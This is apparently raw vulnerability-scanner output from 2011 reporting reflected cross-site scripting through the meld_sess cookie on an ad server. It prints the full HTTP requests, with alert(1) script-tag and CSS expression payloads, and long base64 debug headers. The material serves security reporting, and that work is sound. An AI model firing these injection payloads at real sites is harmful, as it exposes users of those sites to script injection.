sImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4ODgxLCAiYnV5IjoxMjQzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0NjIxLCAiYnV5IjoxNzYsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE5MDA4NjksICJidXkiOjUyMTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNzEzNjA5LCAiYnV5Ijo0MjUxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRm9yYmVzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjE2MzQxMCwgImJ1eSI6NzE5OSwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn1dLCAgdGFyZ2V0aW5nOiAgICAiIiwgIGhvc3Q6ICAgICAgICAgIm5qLXRhZzExIn0= Content-Length: 1836 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:56 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acd9a"><script>alert(1)</script>7d07b2b640d was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/300x250/middletown_press_btf?t=1296072890535&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556acd9a"><script>alert(1)</script>7d07b2b640d
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDE1MjkyOTQsICBuZXR3b3JrOiAgICAgICJyZXZzY2llbmNlIiwgIHNpemU6ICAgICAgICAgIjMwMHgyNTAiLCAgZnJlcTogICAgICAgICAiMS0xMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNmJhMDkxY2ItMmE1OC00MTMyLWJhODItMDk4ZTFlNzE0MTk3IiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NmFjZDlhIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+N2QwN2IyYjY0MGQiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYnRmIiwgIGRpdjogICAgICAgICAgIjZiYTA5MWNiLTJhNTgtNDEzMi1iYTgyLTA5OGUxZTcxNDE5NyIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA0OSwgIGFjY291bnRfaWQ6ICAgNTE3OTEsICBuZXR3b3JrX25hbWU6ICJBdWRpZW5jZVNjaWVuY2UiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNzMiLCAgZmVjcG06ICAgICAgICAiMC43MyIsICBmaWxsOiAgICAgICAgICIzMy4yOCIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTkzODMsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4ODgxLCAiYnV5IjoxMjQzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0NjIxLCAiYnV5IjoxNzYsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE5MDA4NjksICJidXkiOjUyMTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJFcWFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE3MTM2MDksICJidXkiOjQyNTEsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJGb3JiZXMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTYzNDEwLCAiYnV5Ijo3MTk5LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMTYifQ== Content-Length: 1836 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:57 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c455"><script>alert(1)</script>6d46117b376 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d55568c455"><script>alert(1)</script>6d46117b376
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI2MzUxOCwgIG5ldHdvcms6ICAgICAgImNvbnRleHR3ZWIiLCAgc2l6ZTogICAgICAgICAiNzI4eDkwIiwgIGZyZXE6ICAgICAgICAgIjEtMyIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNjhjODg3ZWYtM2U4OS00NjQ1LTgwMmEtMjU4YjVhMTIzMGIxIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjhjNDU1Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+NmQ0NjExN2IzNzYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYXRmIiwgIGRpdjogICAgICAgICAgIjY4Yzg4N2VmLTNlODktNDY0NS04MDJhLTI1OGI1YTEyMzBiMSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA4LCAgYWNjb3VudF9pZDogICAxNTU3MywgIG5ldHdvcmtfbmFtZTogIkNvbnRleHRXZWIiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNjIiLCAgZmVjcG06ICAgICAgICAiMC42MiIsICBmaWxsOiAgICAgICAgICIxMi42OSIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTQ2MjAsICJidXkiOjUwNCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4OTM5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTUxODY4NSwgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTU5NCwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkZvcmJlcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNjM0NDksICJidXkiOjcyMDAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWcxMiJ9 Content-Length: 1668 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:50 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a14f2"><script>alert(1)</script>e03ea658c66 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556a14f2"><script>alert(1)</script>e03ea658c66
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI2MzUxOCwgIG5ldHdvcms6ICAgICAgImNvbnRleHR3ZWIiLCAgc2l6ZTogICAgICAgICAiNzI4eDkwIiwgIGZyZXE6ICAgICAgICAgIjEtMyIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiY2EzMTc2MjgtOTM5OC00M2UwLTg0ZjAtNTU5Y2FkMWE1MGVjIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NmExNGYyIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+ZTAzZWE2NThjNjYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYXRmIiwgIGRpdjogICAgICAgICAgImNhMzE3NjI4LTkzOTgtNDNlMC04NGYwLTU1OWNhZDFhNTBlYyIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA4LCAgYWNjb3VudF9pZDogICAxNTU3MywgIG5ldHdvcmtfbmFtZTogIkNvbnRleHRXZWIiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNjIiLCAgZmVjcG06ICAgICAgICAiMC42MiIsICBmaWxsOiAgICAgICAgICIxMi42OSIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTQ2MjAsICJidXkiOjUwNCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4OTM5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTUxODY4NSwgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTU5NCwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkZvcmJlcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNjM0NDksICJidXkiOjcyMDAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWcyOSJ9 Content-Length: 1668 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:50 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ca75"><script>alert(1)</script>da62bc9afea was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_btf?t=1296072891105&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d55564ca75"><script>alert(1)</script>da62bc9afea
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI2MzUxOCwgIG5ldHdvcms6ICAgICAgImNvbnRleHR3ZWIiLCAgc2l6ZTogICAgICAgICAiNzI4eDkwIiwgIGZyZXE6ICAgICAgICAgIjEtMyIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNTgyMGM2NmUtNmUzMC00ZmFmLTg5YzctNTYzYWFjMTYzMWM1IiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjRjYTc1Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+ZGE2MmJjOWFmZWEiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYnRmIiwgIGRpdjogICAgICAgICAgIjU4MjBjNjZlLTZlMzAtNGZhZi04OWM3LTU2M2FhYzE2MzFjNSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA4LCAgYWNjb3VudF9pZDogICAxNTU3MywgIG5ldHdvcmtfbmFtZTogIkNvbnRleHRXZWIiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNjIiLCAgZmVjcG06ICAgICAgICAiMC42MiIsICBmaWxsOiAgICAgICAgICIxMi42OSIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTQ2MjAsICJidXkiOjUwNCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4OTM5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTUxODY4NSwgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTU5NCwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkZvcmJlcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNjM0NDksICJidXkiOjcyMDAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWcyOSJ9 Content-Length: 1668 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:56 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5db8f"><script>alert(1)</script>bb79be700f2 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_btf?t=1296072891105&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: 